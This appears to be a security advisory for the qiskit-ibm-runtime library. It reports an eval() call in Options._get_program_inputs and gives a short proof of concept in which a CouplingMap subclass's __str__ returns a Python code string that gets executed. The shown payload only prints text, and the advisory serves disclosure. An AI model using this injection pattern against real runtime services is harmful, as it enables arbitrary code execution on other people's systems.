Dynamic Variable Evaluation in qiskit-ibm-runtime

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.